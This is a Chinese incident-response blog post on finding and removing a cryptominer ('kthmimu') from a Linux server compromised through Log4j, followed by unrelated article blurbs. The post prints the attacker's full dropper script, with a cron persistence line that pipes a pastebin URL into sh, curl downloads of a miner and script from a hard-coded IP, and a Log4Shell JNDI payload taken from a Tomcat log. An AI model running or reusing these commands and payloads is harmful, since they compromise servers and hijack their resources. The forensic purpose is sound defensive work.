liunx挖矿程序排查思路

article/2025/10/23 17:02:06

最近收到一个阿里云安全告警,在这里写一下自己的排查思路,与大家交流一下:
安全告警邮件
在这里插入图片描述

查看异常情况

输入top,输入shift + P会按照cpu的使用率大小从大到小进行排序,发现有异常进程7140与7129
在这里插入图片描述

[root@www-site-ec-6 ]# ps -ef | grep 7140 
root      7140     1  9 02:51 ?        00:40:40 /bin/sh /tmp/.mimu/apache.sh
root     30662  7140  0 09:50 ?        00:00:00 ps aux
root     30663  7140  0 09:50 ?        00:00:00 grep -v grep
root     30664  7140  0 09:50 ?        00:00:00 grep cpu-force-autoconfig
root     30665  7140  0 09:50 ?        00:00:00 awk {print $2}
root     30666  7140  0 09:50 ?        00:00:00 xargs -i kill -9 {}
root     30671  1075  0 09:50 pts/0    00:00:00 grep --color=auto 7140
[root@www-site-ec-6 ]# ps -ef | grep 7129
root      7129     1  9 02:51 ?        00:40:54 /bin/sh /tmp/.mimu/apache.sh
root      7304  7129  0 02:51 ?        00:00:01 /tmp/.mimu/kthmimu
root     10903  1075  0 09:51 pts/0    00:00:00 grep --color=auto 7129
root     10905  7129  0 09:51 ?        00:00:00 ps aux
root     10906  7129  0 09:51 ?        00:00:00 grep -v grep
root     10907  7129  0 09:51 ?        00:00:00 grep kinsing
root     10908  7129  0 09:51 ?        00:00:00 awk {print $2}
root     10909  7129  0 09:51 ?        00:00:00 /bin/sh /tmp/.mimu/apache.sh

可以确认挖坑脚本是 apache.sh
一般我们需要获取到入侵脚本看一下这个脚本操作了什么,然后把之进行反向操作即可,所以我们现在去获取到这个脚本

 /tmp/.mimu/apache.sh 
[root@www-site-ec-6 ]# cd /tmp/.mimu/
[root@www-site-ec-6 .mimu]# ll
total 5808
-rw-r--r-- 1 root root    2492 Oct 18 02:51 config.json
-rwxr-xr-x 1 root root 5940672 Oct 18 02:51 kthmimu
被入侵时间是02:51

我们发现这个脚本不存在了,这个时候我们先进行一下盲查

排查

定时任务

[root@www-site-ec-6 .mimu]# crontab -l 
*/5 * * * * curl -fsSL https://pastebin.com/raw/cuRBc3hn | sh
怀疑是危险的脚本进行注释  
[root@www-site-ec-6 .mimu]# crontab -e
crontab: installing new crontab
[root@www-site-ec-6 .mimu]# crontab -l
#*/5 * * * * curl -fsSL https://pastebin.com/raw/cuRBc3hn | sh

rc.loacl

[root@www-site-ec-6 ~]# cat /etc/rc.local 
#!/bin/bash
# THIS FILE IS ADDED FOR COMPATIBILITY PURPOSES
#
# It is highly advisable to create own systemd services or udev rules
# to run scripts during boot instead of using this file.
#
# In contrast to previous versions due to parallel execution during boot
# this script will NOT be run after all other services.
#
# Please note that you must run 'chmod +x /etc/rc.d/rc.local' to ensure
# that this script will be executed during boot.touch /var/lock/subsys/local

没有被添加开机自启动的内容

查看最近进行修改的文件

[root@www-site-ec-6 ~]# find . -type f -mtime -1 >/root/change_file_list.txt #这个是把一天修改过的内写入文件

对这个文件生成的 change_file_list.txt 文件进行查看,重点关注 02:51左右进行修改的文件,查看所有文件,我这边排查没有可疑的内容。

清理

[root@www-site-ec-6 /]# kill 7129
[root@www-site-ec-6 /]# kill 7140
[root@www-site-ec-6 tmp]# ll -a
total 40
drwxrwxrwt. 10 root root 4096 Oct 18 09:55 .
dr-xr-xr-x. 24 root root 4096 Oct 18 10:05 ..
drwxrwxrwt.  2 root root 4096 Oct 15  2017 .font-unix
drwxr-xr-x   2 root root 4096 Jun  8 01:02 hsperfdata_root
drwxrwxrwt.  2 root root 4096 Oct 15  2017 .ICE-unix
drwxr-xr-x   2 root root 4096 Oct 18 09:52 .mimu
drwxrwxrwt.  2 root root 4096 Oct 15  2017 .Test-unix
drwxrwxrwt.  2 root root 4096 Oct 15  2017 .X11-unix
drwxrwxrwt.  2 root root 4096 Oct 15  2017 .XIM-unix
[root@www-site-ec-6 tmp]# rm -rf .mimu

被侵入原因

仔细查看入侵日志
在这里插入图片描述
其中执行了危险命令,进行查看,获取了危险代码

#!/bin/sh
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
pkill -9 -f mysqldd
pkill -9 -f monero
pkill -9 -f kinsing
pkill -9 -f sshpass
pkill -9 -f sshexec
pkill -9 -f cnrig
pkill -f /tmp/.mimu
pkill -9 -f attack
pkill -9 -f dovecat
pkill -9 -f donate
pkill -9 -f 'scan\.log'
pkill -9 -f xmr-stak
pkill -9 -f crond64
pkill -9 -f stratum
pkill -9 -f /tmp/java
pkill -9 -f /tmp/system
pkill -9 -f excludefile
pkill -9 -f agettyd
pkill -9 -f /dev/shm
pkill -9 -f /var/tmp
pkill -9 -f '\./python'
pkill -9 -f '\./crun'
pkill -9 -f '\./\.'
pkill -9 -f 'xmrig'
pkill -9 '\.6379'
pkill -9 'load\.sh'
pkill -9 'init\.sh'
pkill -9 '\.rsyslogds'
pkill -9 pnscan
pkill -9 masscan
pkill -9 ladaras
pkill -9 kthgado
pkill -9 kdevtmpfsi
pkill -9 solrd
pkill -9 meminitsrv
pkill -9 networkservice
pkill -9 sysupdate
pkill -9 phpguard
pkill -9 phpupdate
pkill -9 networkmanager
pkill -9 knthread
pkill -9 mysqlserver
pkill -9 watchbog
pkill -9 xmrig
pkill -9 bashirc
pkill -9 zgrab
killall -9 /tmp/*
killall -9 /var/tmp/*
crontab -l | grep -e "cuRBc3hn" | grep -v grep  
if [ $? -eq 0 ]; thenecho "cron good"
else(crontab -l 2>/dev/nullecho "*/5 * * * * curl -fsSL https://pastebin.com/raw/cuRBc3hn | sh") | crontab -
fi
for i in $(ls /proc|grep '[0-9]'); doif ls -al /proc/$i 2>/dev/null|grep kthmimu 2>/dev/null; thencontinuefiif grep -a 'donate' /proc/$i/exe 1>/dev/null 2>&1; thenkill -9 $ifiif ls -al /proc/$i | grep exe | grep "/var/tmp\|/tmp"; thenkill -9 $ifi
done
ProcNumber=$(ps auxf|grep kthmimu|awk '{if($3>=70.0) print $2}')
Proc=""$ProcNumber
if [ -z "$Proc" ]
thenps auxf|grep -v grep | awk '{if($3>=70.0) print $2}'| xargs kill -9pkill -9 -f '/tmp/\.'mkdir /tmp/.mimucurl -fsSL http://61.97.188.42:8080/config.json -o /tmp/.mimu/config.jsoncurl -fsSL http://61.97.188.42:8080/x.rar -o /tmp/.mimu/kthmimucurl -fsSL http://61.97.188.42:8080/apache.sh -o /tmp/.mimu/apache.shchmod +x /tmp/.mimu/kthmimuchmod +x /tmp/.mimu/apache.shnohup /tmp/.mimu/apache.sh 1>/dev/null 2>&1 &sleep 2rm -f /tmp/.mimu/apache.sh
fi

分析问题代码,发现它确实只留下了一个定时任务,并且在最后删除了apache.sh
打开apache.sh 脚本

while true
dokillall -q -9 kdevtmpfsikillall -q -9 kinsingps aux | grep -v grep | grep 'javaupDates' | awk '{print $2}' | xargs -i kill -9 {}ps aux | grep -v grep | grep 'givemexyz' | awk '{print $2}' | xargs -i kill -9 {}ps aux | grep -v grep | grep 'dbused' | awk '{print $2}' | xargs -i kill -9 {}ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}' | xargs -i kill -9 {}ps aux | grep -v grep | grep 'kinsing' | awk '{print $2}' | xargs -i kill -9 {}ps aux | grep -v grep | grep 'cpu-force-autoconfig' | awk '{print $2}' | xargs -i kill -9 {}ps aux | grep -v grep | grep 'kvm.sh' | awk '{print $2}' | xargs -i kill -9 {}ps aux | grep -v grep | grep 'elastic.sh' | awk '{print $2}' | xargs -i kill -9 {}ps aux | grep -v grep | grep '/var/tmp/.postgres/' | awk '{print $2}' | xargs -i kill -9 {}ps aux | grep -v grep | grep 'postgres_start.sh' | awk '{print $2}' | xargs -i kill -9 {}ps aux | grep -v grep | grep 'kinsing' | awk '{print $2}' | xargs -i kill -9 {}ps aux | grep -v grep | grep 'xmrig' | awk '{print $2}' | xargs -i kill -9 {}ps aux | grep -v grep | grep 'xmr' | awk '{print $2}' | xargs -i kill -9 {}ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}' | xargs -i kill -9 {}ps aux | grep -v grep | grep 'kthreaddk' | awk '{print $2}' | xargs -i kill -9 {}ps aux | grep -v grep | grep 'kthreaddi' | awk '{print $2}' | xargs -i kill -9 {}PROC_NAME=kthmimuProcNumber=`ps -ef |grep -w $PROC_NAME|grep -v grep|wc -l`if [ $ProcNumber -le 0 ];thennohup /tmp/.mimu/kthmimu 1>/dev/null 2>&1 &fi
done

从脚本可以看出来,我们清理没有问题的,但是需要进行检查是否有被误杀的进程。
那么这个脚本为什么会被执行,我们看看tomcat的日志

192.168.0.125 - - [18/Oct/2022:02:51:11 +0800] "GET /?id=%24%7Bjndi%3Aldap%3A%2F%2F218.24.200.243%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FY3VybCAtZnNTTCBodHRwOi8vNjEuOTcuMTg4LjQyOjgwODAvbHIuc2ggfHNo%7D HTTP/1.0" 200 57 0.213

从这个特征可以确认漏洞原因:我们的应用存在log4j安全漏洞


http://chatgpt.dhexx.cn/article/uA9jwgLk.shtml

相关文章

阿里云服务器中了挖矿程序应该如何清除

阿里云服务器中了挖矿程序如何处理?云安全中心安全告警短信提醒云服务器中了挖矿程序怎么处理?护云盾来详细说下阿里云服务器挖矿程序的解决方法,一种是使用云安全中心自动处理,另一种方式是自行手动清除。 阿里云服务器挖矿程序解决方法 如果你的阿里云服务器中了挖矿程…

阿里云服务器被挖矿程序侵入问题

一、起因 公司需要自行管理代码,所以搞了个阿里云服务器装Gitlab,装的时候版本是13.9.4(在Gitlab挖矿漏洞的版本内)。一直正常使用,然后半夜突然收到阿里云告警短信,说服务器可能存在挖矿程序,部…

移除挖矿程序过程记录

前言: 早上发现一个服务器的挖矿程序预警消息: 那么接下来开始处理这个问题, 废话不说直接上有效的操作了; 1、查看系统定时任务及修改: 查看系统定时任务:方式一:crontab -lcrontab -e&…

如何检查并清除挖矿程序

1.检查cpu使用率 根据cpu使用率曲线确定2.11日可能被注入挖矿程序,根据top确定挖矿程序进程kdevtmpfsi 2.确定挖矿进程源程序位置 find / -name kdevtmpfsi ll 查看安装时间,对比cpu突然拔升时间 3.检查psadm2用户的合法性 4.检查root或者psadm2用…

挖矿程序的处理方式及步骤

概述 随着币圈市场交易的活跃,币价也被日益推高。 从BTC兑美元的在线交易平台上可以看出,BTC的价格屡创新高,这与MG的2W亿脱不了干系。 “重赏之下,必有勇夫”,在互联网圈里也同样适用啊。 所以服务器被植入挖矿程序已经不是很稀奇的事情了,很多服务器因为漏洞、弱密码、…

【树莓派】树莓派系统安装

上一个项目被网络的问题搞得头痛,使用了STM32F407往服务器上扔数据,结果发现一直没有办法连接上服务器,一直在发送arp查找MAC地址,最后使用了树莓派搭建了一个局域网络,先连接树莓派然后进行转发,才连接上服…

树莓派安装Windows for ARM

树莓派安装Windows for ARM 准备1.树莓派2/3/4/400(RAM>2GB)2.WoR 获取Windows for ARM镜像安装启动 准备 1.树莓派2/3/4/400(RAM>2GB) 2.WoR WoR(Windows on ARM)是一款简化树莓派安装Windows的软件。它有一个十分友善操作页面,对于懒癌晚期的患者是一个福…

树莓派安装Docker方法

再次提醒,如果是raspberry系统已经集成安装,就不需要再次安装了。 docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的Linux机器上,也可以实现虚拟化&…

树莓派之树莓派系统安装

树莓派系统安装 概述 树莓派(是为学习计算机编程教育而设计),只有信用卡大小的微型电脑,其系统基于Linux。随着Windows 10 IoT的发布,我们也将可以用上运行Windows的树莓派。2014年刚知道有树莓派的时候好奇买了一块,型号&#x…

树莓派——安装OpenCV

我的开题需要使用树莓派录制视频,并对视频处理传送回后端服务器,因此需要安装OpenCV。 安装OpenCV参考了好多文章,但都不成功,只有这篇博主的我照着做才成功:超简单教你在树莓派上安装opencv(一) 一、树莓派系统安装 …

树莓派安装anaconda

树莓派安装anaconda **1、查看版本:****2、下载安装包:****3、安装:****4、查看****5、换源:****6、创建虚拟环境****7、解决部分异常问题****8、卸载:** 1、查看版本: uname -a2、下载安装包:…

树莓派如何安装 Python 环境

树莓派安装的 RasberryPi 系统默认是带有 Python 环境的,不过经常在开发的时候需要不同的 Python 版本环境,此时就需要另外安装所需要的 Python 版本环境。这里就以在树莓派上安装 Python3.6 为例进行安装讲解。 详细安装步骤如下: 一、安装…

树莓派-系统安装连接无线远程连接

目录 一、背景: 二、树莓派系统介绍及安装 2.1、装系统方式一: 自己手动装系统 2.2 装系统方式二:Imager 一键烧录 三、树莓派四代b版本 Raspberry Pi 4 Model B 3.1 Raspberry Pi 4 Model B 介绍 3.2 第一次组装树莓派准备工作 3…

树莓派系统安装及相关配置教程(Raspberry Pi 3 Model B)

目录 1.准备硬件 2.官方安装系统方式 (1)下载官方推荐的烧录工具 (2)烧录镜像过程 3. Putty连接树莓派并进行树莓派相关配置 (1)连接树莓派过程 (2)配置树莓派 4.树莓派换源…

JDK和JRE安装与下载

前言 JDK的全称是JavaSE Development Kit,即java开发工具包,是sun公司提供的一套用于开发java应用程序的开发包,它提供了编译、运行java程序所需的各种工具和资源,包括java编译器、java运行时环境,以及常用的java类库…

编辑服务器并更改jre位置,JRE的安装及环境变量配置

JRE(Java Runtime Environment,Java运行环境),运行JAVA程序所必须的环境的集合,包含JVM标准实现及Java核心类库。 下载解压,然后双击安装,跟普通安装程序一样。 安装完毕之后就是需要我们来设置环境变量了 假设jre安装…

win10环境下jdk,jre安装以及环境变量配置

win10环境下jdk,jre安装以及环境变量配置(带图详解) 1️⃣资源准备 jdk可以在官网下载 http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html 注意:一定认准这个图下载: 2️⃣安装步骤: 1.双击安装 2.点击=>下一步: 3.下一步

JAVA(JDK,JRE安装)

1. 官网下载JDK 2. 安装JRE 2.(1): 打开安装包,选择安装版本 2.(2): 开发工具:默认选择,安装JDK 源代码:只安装源代码 公共jre: 只安装java运行环境 …

the specified jre installation does not exist 不存在指定的JRE安装

开发过程中环境只要配置好了,如果没有出现什么意外的话JRE工作环境一般是不会有问题的。the specified jre installation does not exist 这个问题也算把我这菜鸟害得差点就重装了系统。特此谨记。。。 当Eclipse启动项目时弹出个error:the specified jre installa…

ubuntu安装jre

1.环境:Ubuntu 14.04.1 2.下载压缩包 下载地址:http://www.oracle.com/technetwork/java/javase/downloads/index.html 点击JRE下载,按需选择,我选择的是64bit: 3.解压 tar -xzvf jre-8u73-linux-x64.tar.gz解压后得…